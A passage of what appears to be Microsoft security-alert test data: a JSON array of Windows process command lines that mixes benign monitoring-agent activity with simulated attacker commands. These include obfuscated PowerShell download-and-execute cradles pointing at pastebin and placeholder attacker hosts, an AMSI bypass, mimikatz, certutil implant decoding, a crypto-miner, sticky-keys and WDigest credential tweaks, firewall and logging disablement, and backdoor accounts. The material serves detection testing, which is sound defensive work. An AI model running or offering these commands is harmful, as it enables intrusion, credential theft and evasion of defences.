c:\\\\Diagnostics\\\\UserTmp\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com\",\"net user adm1nistrator Bob_testing /add\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator Bob_testing /add\",\"net share TestShare=c:\\\\testshare /Grant:Users,Read\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare=c:\\\\testshare /Grant:Users,Read\",\"dism /online /enable-feature /featurename:File-Services /NoRestart\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\dismhost.exe {D57BA872-53C0-424D-80AE-E49112D1CF04}\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"net use q: /delete\",\"net share TestShare /delete\",\"C:\\\\Windows\\\\system32\\\\net1 share TestShare /delete\",\"net user adm1nistrator /delete\",\"C:\\\\Windows\\\\system32\\\\net1 user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','google.png')}\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f ':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17','pqCw')));}\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg' ^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\Local\\\\Temp\\\\kittens1.jpg';\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAnACkAIAAkAHQA\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"certutil -decode delme.b64 implant.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell Invoke-Shellcode.ps1\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"net localgroup Administrators\",\"C:\\\\Windows\\\\system32\\\\net1 localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user Bob1 /domain\",\"net user BobX /domain\",\"C:\\\\Windows\\\\system32\\\\net1 user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\"C:\\\\Windows\\\\system32\\\\net1 group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1 /f\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0 /f\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"C:\\\\Windows\\\\system32\\\\net1 v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe -c \\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion Certificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\appdata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\".\\\\reg add HKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdigest uselogoncredential /t 1\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command [ref].assembly.gettype('http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\\\\\\\"\",\"netsh start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\\\\\Users\\\\\\\\user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bzzzzzz.txt\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\",\"C:\\\\Windows\\\\system32\\\\net1\",\"cmd /c \\\"powershell wscript.shell used to download a .gif\\\"\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\{RANDOM}.txt\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\"sc create MSTICTestService binPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.exe DisplayName=\\\"Test Service\\\"\",\"sc delete MSTICTestService\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword /d 33554556 /f\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\"C:\\\\Windows\\\\System32\\\\svchost.exe -k WerSvcGroup\",\"C:\\\\Windows\\\\system32\\\\WerFault.exe -u -p 6060 -s 472\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuestLogsTemp\\\\710dc858-9c96-4df5-bd9b-e932e7433077.zip\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"taskhostw.exe SYSTEM\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service 